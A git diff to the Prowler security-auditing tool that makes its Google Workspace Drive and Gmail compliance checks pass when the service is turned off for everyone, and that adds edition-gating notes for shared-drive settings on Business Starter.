diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.metadata.json
index c27742b7ed..d00167a7f0 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.metadata.json
@@ -35,5 +35,5 @@
"drive_shared_drive_members_only_access",
"drive_shared_drive_disable_download_print_copy"
],
- "Notes": ""
+ "Notes": "When Google Drive is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.py b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.py
index e381ad8f26..291450cc7d 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_creation_allowed/drive_shared_drive_creation_allowed.py
@@ -28,7 +28,13 @@ class drive_shared_drive_creation_allowed(Check):
allow_creation = drive_client.policies.allow_shared_drive_creation
- if allow_creation is True:
+ if drive_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Drive is turned off for everyone in domain "
+ f"{drive_client.provider.identity.domain}, so no shared drive can be created."
+ )
+ elif allow_creation is True:
report.status = "PASS"
report.status_extended = (
f"Users in domain {drive_client.provider.identity.domain} "
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.metadata.json
index b2a7738925..97cd7bd232 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.metadata.json
@@ -35,5 +35,5 @@
"drive_shared_drive_managers_cannot_override",
"drive_shared_drive_members_only_access"
],
- "Notes": ""
+ "Notes": "Not configurable on Business Starter: new shared drives on that edition allow every sharing option and the Admin console does not let you change the defaults; a tenant downgraded from another edition may still display its earlier values. When the Licensing API scope is authorized and every edition the tenant holds is Business Starter, the finding says so."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.py b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.py
index 85972f3674..d845af30cb 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_disable_download_print_copy/drive_shared_drive_disable_download_print_copy.py
@@ -1,6 +1,11 @@
from typing import List
from prowler.lib.check.models import Check, CheckReportGoogleWorkspace
+from prowler.providers.googleworkspace.lib.licensing import (
+ EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS,
+ SHARED_DRIVE_SETTINGS_EXPLANATION,
+ edition_reason_suffix,
+)
from prowler.providers.googleworkspace.services.drive.drive_client import drive_client
@@ -10,7 +15,9 @@ class drive_shared_drive_disable_download_print_copy(Check):
This check verifies that the domain-level Drive and Docs policy prevents
viewers and commenters of shared drive files from downloading, printing,
or copying their contents — limiting them to read and comment actions
- only and reducing the risk of bulk data exfiltration.
+ only and reducing the risk of bulk data exfiltration. The setting is
+ edition-gated: when every edition the tenant holds lacks it, the finding
+ says so.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -48,6 +55,7 @@ class drive_shared_drive_disable_download_print_copy(Check):
f"Download, print, and copy in shared drives in domain "
f"{drive_client.provider.identity.domain} is set to {allowed}. "
f"These actions should be restricted to editors or managers only."
+ f"{edition_reason_suffix(drive_client.provider.editions, EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS, SHARED_DRIVE_SETTINGS_EXPLANATION)}"
)
findings.append(report)
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.metadata.json
index 62e46c2ae2..2e5228448d 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.metadata.json
@@ -35,5 +35,5 @@
"drive_shared_drive_members_only_access",
"drive_shared_drive_disable_download_print_copy"
],
- "Notes": ""
+ "Notes": "Not configurable on Business Starter: new shared drives on that edition allow every sharing option and the Admin console does not let you change the defaults; a tenant downgraded from another edition may still display its earlier values. When the Licensing API scope is authorized and every edition the tenant holds is Business Starter, the finding says so."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.py b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.py
index b6f6d1b887..8a9ace2eb6 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_managers_cannot_override/drive_shared_drive_managers_cannot_override.py
@@ -1,6 +1,11 @@
from typing import List
from prowler.lib.check.models import Check, CheckReportGoogleWorkspace
+from prowler.providers.googleworkspace.lib.licensing import (
+ EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS,
+ SHARED_DRIVE_SETTINGS_EXPLANATION,
+ edition_reason_suffix,
+)
from prowler.providers.googleworkspace.services.drive.drive_client import drive_client
@@ -10,7 +15,8 @@ class drive_shared_drive_managers_cannot_override(Check):
This check verifies that the domain-level Drive and Docs policy prevents
members with manager access from overriding the shared drive settings
configured by administrators, ensuring that security controls cannot be
- relaxed at the shared drive level.
+ relaxed at the shared drive level. The setting is edition-gated: when
+ every edition the tenant holds lacks it, the finding says so.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -36,12 +42,18 @@ class drive_shared_drive_managers_cannot_override(Check):
)
else:
report.status = "FAIL"
+ edition_reason = edition_reason_suffix(
+ drive_client.provider.editions,
+ EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS,
+ SHARED_DRIVE_SETTINGS_EXPLANATION,
+ )
if allow_override is None:
report.status_extended = (
f"Manager override of shared drive settings is not "
f"explicitly configured in domain "
f"{drive_client.provider.identity.domain}. "
f"Managers should not be allowed to override shared drive settings."
+ f"{edition_reason}"
)
else:
report.status_extended = (
@@ -49,6 +61,7 @@ class drive_shared_drive_managers_cannot_override(Check):
f"{drive_client.provider.identity.domain} are allowed to "
f"override shared drive settings. "
f"Managers should not be allowed to override shared drive settings."
+ f"{edition_reason}"
)
findings.append(report)
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.metadata.json
index d9495ea249..ea386b7b68 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.metadata.json
@@ -35,5 +35,5 @@
"drive_shared_drive_managers_cannot_override",
"drive_shared_drive_disable_download_print_copy"
],
- "Notes": ""
+ "Notes": "Not configurable on Business Starter: new shared drives on that edition allow every sharing option and the Admin console does not let you change the defaults; a tenant downgraded from another edition may still display its earlier values. When the Licensing API scope is authorized and every edition the tenant holds is Business Starter, the finding says so."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.py b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.py
index 34cde3f6c6..91f19af7b3 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_shared_drive_members_only_access/drive_shared_drive_members_only_access.py
@@ -1,6 +1,11 @@
from typing import List
from prowler.lib.check.models import Check, CheckReportGoogleWorkspace
+from prowler.providers.googleworkspace.lib.licensing import (
+ EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS,
+ SHARED_DRIVE_SETTINGS_EXPLANATION,
+ edition_reason_suffix,
+)
from prowler.providers.googleworkspace.services.drive.drive_client import drive_client
@@ -10,7 +15,8 @@ class drive_shared_drive_members_only_access(Check):
This check verifies that the domain-level Drive and Docs policy prevents
people who are not shared drive members from being added to files within
a shared drive, restricting file access to that drive's explicit
- membership.
+ membership. The setting is edition-gated: when every edition the tenant
+ holds lacks it, the finding says so.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -36,11 +42,17 @@ class drive_shared_drive_members_only_access(Check):
)
else:
report.status = "FAIL"
+ edition_reason = edition_reason_suffix(
+ drive_client.provider.editions,
+ EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS,
+ SHARED_DRIVE_SETTINGS_EXPLANATION,
+ )
if allow_non_member is None:
report.status_extended = (
f"Shared drive non-member access is not explicitly "
f"configured in domain {drive_client.provider.identity.domain}. "
f"Shared drive file access should be restricted to members only."
+ f"{edition_reason}"
)
else:
report.status_extended = (
@@ -48,6 +60,7 @@ class drive_shared_drive_members_only_access(Check):
f"{drive_client.provider.identity.domain} allows non-members "
f"to be added to files. "
f"Shared drive file access should be restricted to members only."
+ f"{edition_reason}"
)
findings.append(report)
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.metadata.json
index 2295591dba..80d4a02612 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_encrypted_attachment_protection_enabled",
"gmail_script_attachment_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.py
index b8895d4e21..f2fad92433 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_anomalous_attachment_protection_enabled/gmail_anomalous_attachment_protection_enabled.py
@@ -29,7 +29,13 @@ class gmail_anomalous_attachment_protection_enabled(Check):
gmail_client.policies.anomalous_attachment_protection_consequence
)
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against anomalous attachment types in emails "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.metadata.json
index 14484c251c..127f228221 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_pop_imap_access_disabled",
"gmail_per_user_outbound_gateway_disabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.py
index 65cd6f1fcb..c77ced0bbe 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_auto_forwarding_disabled/gmail_auto_forwarding_disabled.py
@@ -26,7 +26,13 @@ class gmail_auto_forwarding_disabled(Check):
forwarding_enabled = gmail_client.policies.enable_auto_forwarding
- if forwarding_enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no email can be forwarded."
+ )
+ elif forwarding_enabled is False:
report.status = "PASS"
report.status_extended = (
f"Automatic email forwarding is disabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.metadata.json
index 530d7af908..fbf842267a 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.metadata.json
@@ -33,5 +33,5 @@
],
"DependsOn": [],
"RelatedTo": [],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.py
index 704e5a391a..e8ad593c22 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_comprehensive_mail_storage_enabled/gmail_comprehensive_mail_storage_enabled.py
@@ -26,7 +26,13 @@ class gmail_comprehensive_mail_storage_enabled(Check):
storage_enabled = gmail_client.policies.comprehensive_mail_storage_enabled
- if storage_enabled is True:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so there is no Gmail mail to store."
+ )
+ elif storage_enabled is True:
report.status = "PASS"
report.status_extended = (
f"Comprehensive mail storage is enabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.metadata.json
index 88035f633f..d42cad3be1 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.metadata.json
@@ -38,5 +38,5 @@
"gmail_unauthenticated_email_protection_enabled",
"gmail_groups_spoofing_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.py
index 5d674b60a0..e6535fbaaa 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_domain_spoofing_protection_enabled/gmail_domain_spoofing_protection_enabled.py
@@ -31,10 +31,16 @@ class gmail_domain_spoofing_protection_enabled(Check):
)
enabled = gmail_client.policies.detect_domain_name_spoofing
- consequence = gmail_client.policies.domain_spoofing_consequence
+ consequence = gmail_client.policies.domain_name_spoofing_consequence
domain = gmail_client.provider.identity.domain
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against domain spoofing based on similar domain names "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.metadata.json
index 103d09ea1e..8aa3977db6 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.metadata.json
@@ -38,5 +38,5 @@
"gmail_unauthenticated_email_protection_enabled",
"gmail_groups_spoofing_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.py
index 8f33bf4d6d..0c9a943780 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_employee_name_spoofing_protection_enabled/gmail_employee_name_spoofing_protection_enabled.py
@@ -34,7 +34,13 @@ class gmail_employee_name_spoofing_protection_enabled(Check):
consequence = gmail_client.policies.employee_name_spoofing_consequence
domain = gmail_client.provider.identity.domain
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against spoofing of employee names "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.metadata.json
index 3367e11777..88ae4949c0 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_script_attachment_protection_enabled",
"gmail_anomalous_attachment_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.py
index 30a58cb4b4..f6f84e00f0 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_encrypted_attachment_protection_enabled/gmail_encrypted_attachment_protection_enabled.py
@@ -29,7 +29,13 @@ class gmail_encrypted_attachment_protection_enabled(Check):
gmail_client.policies.encrypted_attachment_protection_consequence
)
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against encrypted attachments from untrusted "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.metadata.json
index 0f14ecd73b..ae37d04145 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.metadata.json
@@ -33,5 +33,5 @@
],
"DependsOn": [],
"RelatedTo": [],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.py
index 33e5a58f9b..52e6ab6110 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_enhanced_pre_delivery_scanning_enabled/gmail_enhanced_pre_delivery_scanning_enabled.py
@@ -28,7 +28,13 @@ class gmail_enhanced_pre_delivery_scanning_enabled(Check):
gmail_client.policies.enable_enhanced_pre_delivery_scanning
)
- if scanning_enabled is True:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif scanning_enabled is True:
report.status = "PASS"
report.status_extended = (
f"Enhanced pre-delivery message scanning is enabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.metadata.json
index 4df5f8bd84..8ae4817b20 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_shortener_scanning_enabled",
"gmail_untrusted_link_warnings_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.py
index c71de1459a..c63f9da455 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_external_image_scanning_enabled/gmail_external_image_scanning_enabled.py
@@ -26,7 +26,13 @@ class gmail_external_image_scanning_enabled(Check):
scanning_enabled = gmail_client.policies.enable_external_image_scanning
- if scanning_enabled is True:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif scanning_enabled is True:
report.status = "PASS"
report.status_extended = (
f"Scanning of linked images for malicious content is enabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.metadata.json
index 0a8214370e..fdac312fce 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.metadata.json
@@ -38,5 +38,5 @@
"gmail_inbound_domain_spoofing_protection_enabled",
"gmail_unauthenticated_email_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.py
index c4fb628e83..b76201c808 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_groups_spoofing_protection_enabled/gmail_groups_spoofing_protection_enabled.py
@@ -41,7 +41,13 @@ class gmail_groups_spoofing_protection_enabled(Check):
else "all groups"
)
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection of groups from inbound emails spoofing your "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.metadata.json
index fef0f77322..aab6af3f40 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.metadata.json
@@ -38,5 +38,5 @@
"gmail_unauthenticated_email_protection_enabled",
"gmail_groups_spoofing_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.py
index 822c445595..d40b8d4b3b 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_inbound_domain_spoofing_protection_enabled/gmail_inbound_domain_spoofing_protection_enabled.py
@@ -34,7 +34,13 @@ class gmail_inbound_domain_spoofing_protection_enabled(Check):
consequence = gmail_client.policies.inbound_domain_spoofing_consequence
domain = gmail_client.provider.identity.domain
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against inbound emails spoofing your domain "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.metadata.json
index a4f9fd0460..7d5b4aa16b 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.metadata.json
@@ -33,5 +33,5 @@
],
"DependsOn": [],
"RelatedTo": [],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.py
index 5e32e58b99..493c0ec43e 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.py
